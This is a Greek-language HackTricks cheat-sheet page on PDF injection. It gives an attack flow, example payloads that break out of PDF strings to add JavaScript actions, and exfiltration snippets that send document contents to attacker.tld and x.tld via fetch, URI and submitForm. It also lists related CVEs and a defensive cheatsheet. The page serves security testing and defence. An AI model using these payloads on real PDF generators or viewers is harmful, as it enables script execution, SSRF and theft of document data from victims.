PDF Injection
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αν η είσοδός σας ανακλάται μέσα σε ένα αρχείο PDF, μπορείτε να προσπαθήσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript, να πραγματοποιήσετε SSRF ή να κλέψετε το περιεχόμενο του PDF. Η σύνταξη PDF είναι εξαιρετικά επιεικής – αν μπορείτε να σπάσετε τη συμβολοσειρά ή το λεξικό που ενσωματώνει την είσοδό σας, μπορείτε να προσθέσετε εντελώς νέα αντικείμενα (ή νέες κλειδιά στο ίδιο αντικείμενο) που το Acrobat/Chrome θα αναλύσει ευχαρίστως. Από το 2024, μια σειρά αναφορών bug-bounty έχει δείξει ότι μία μη διαφραγμένη παρένθεση ή αντίστροφη κάθετος είναι αρκετή για πλήρη εκτέλεση σεναρίου.
TL;DR – Σύγχρονη Ροή Επίθεσης (2024)
- Βρείτε οποιαδήποτε τιμή ελεγχόμενη από τον χρήστη που καταλήγει μέσα σε μια (συμβολοσειρά παρένθεσης),
/URI ( … )ή/JS ( … )πεδίο στο παραγόμενο PDF. - Εισάγετε
)(κλείνοντας τη συμβολοσειρά) ακολουθούμενο από μία από τις παρακάτω πρωτότυπες και τελειώστε με άλλη μια ανοιχτή παρένθεση για να διατηρήσετε τη σύνταξη έγκυρη. - Παραδώστε το κακόβουλο PDF σε ένα θύμα (ή σε μια υπηρεσία backend που αυτόματα αποδίδει το αρχείο – εξαιρετικό για τυφλά σφάλματα).
- Το payload σας εκτελείται στον αναγνώστη PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (βλ. CVE-2024-4367)
- Acrobat → Πλήρης JavaScript API (μπορεί να εξάγει περιεχόμενα αρχείων με
this.getPageNthWord)
Παράδειγμα (κατάχρηση συνδέσμου σημείωσης):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Η πρώτη ) κλείνει την αρχική συμβολοσειρά URI, στη συνέχεια προσθέτουμε ένα νέο Action λεξικό που θα εκτελέσει το Acrobat όταν ο χρήστης κάνει κλικ στον σύνδεσμο.
Χρήσιμα Injection Primitives
| Στόχος | Payload Snippet | Σημειώσεις |
|---|---|---|
| JavaScript κατά το άνοιγμα | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Εκτελείται αμέσως όταν ανοίγει το έγγραφο (λειτουργεί στο Acrobat, όχι στο Chrome). |
| JavaScript κατά τον σύνδεσμο | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Λειτουργεί σε PDFium & Acrobat αν ελέγχετε μια /Link σημείωση. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Συνδυάστε με this.getPageNthWord μέσα σε JS για να κλέψετε περιεχόμενο. |
| Server-Side SSRF | Το ίδιο με παραπάνω αλλά στοχεύστε σε μια εσωτερική διεύθυνση URL – εξαιρετικό όταν το PDF αποδίδεται από υπηρεσίες back-office που σέβονται το /URI. | |
| Διάλειμμα γραμμής για νέα αντικείμενα | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Αν η βιβλιοθήκη σας επιτρέπει να εισάγετε χαρακτήρες νέας γραμμής, μπορείτε να δημιουργήσετε εντελώς νέα αντικείμενα. |
Blind Enumeration Trick
Ο Gareth Heyes (PortSwigger) δημοσίευσε μια μία γραμμή που καταμετρά κάθε αντικείμενο μέσα σε ένα άγνωστο έγγραφο – χρήσιμο όταν δεν μπορείτε να δείτε το παραγόμενο PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Ο κώδικας επαναλαμβάνει το Acrobat DOM και κάνει εξωτερικά αιτήματα για κάθε ζεύγος ιδιότητας/τιμής, δίνοντάς σας μια JSON-ish εξαγωγή του αρχείου. Δείτε το λευκό έγγραφο “Portable Data exFiltration” για την πλήρη τεχνική.
Real-World Bugs (2023-2025)
- CVE-2024-4367 – Αυθαίρετη εκτέλεση JavaScript στο PDF.js του Firefox πριν από την 4.2.67 παρακάμπτει το sandbox με μια κατασκευασμένη ενέργεια
/JavaScript. - Bug bounty 2024-05 – Μεγάλη fintech επέτρεψε σημειώσεις τιμολογίων που παρέχονταν από πελάτες και κατέληγαν στο
/URI; η αναφορά πληρώθηκε $10k μετά από αποδεδειγμένο SSRF σε εσωτερικό μεταδεδομένο host χρησιμοποιώνταςfile:///URI. - CVE-2023-26155 – Η εντολή
node-qpdfμέσω μη απολυμασμένης διαδρομής PDF δείχνει τη σημασία της απόδρασης των backslashes και των παρενθέσεων ακόμη πριν από το επίπεδο PDF.
Defensive Cheatsheet
- Ποτέ μην συνδυάζετε ακατέργαστη είσοδο χρήστη μέσα σε
(…)συμβολοσειρές ή ονόματα. Απόδραση\,(,)όπως απαιτείται από το §7.3 της προδιαγραφής PDF ή χρησιμοποιήστε δεκαεξαδικές συμβολοσειρές<...>. - Εάν δημιουργείτε συνδέσμους, προτιμήστε
/URI (https://…)που να κωδικοποιείτε πλήρως URL; αποκλείστε τα σχήματαjavascript:στους πελάτες προβολής. - Αφαιρέστε ή επικυρώστε τα λεξικά
/OpenAction,/AA(επιπλέον ενέργειες),/Launch,/SubmitFormκαι/ImportDataκατά την επεξεργασία PDF. - Από την πλευρά του διακομιστή, αποδώστε μη αξιόπιστα PDFs με έναν headless converter (π.χ. qpdf –decrypt –linearize) που αφαιρεί JavaScript και εξωτερικές ενέργειες.
- Διατηρήστε τους προβολείς PDF ενημερωμένους; PDF.js < 4.2.67 και Acrobat Reader πριν από τον Ιούλιο του 2024 επιτρέπουν απλή εκτέλεση κώδικα.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

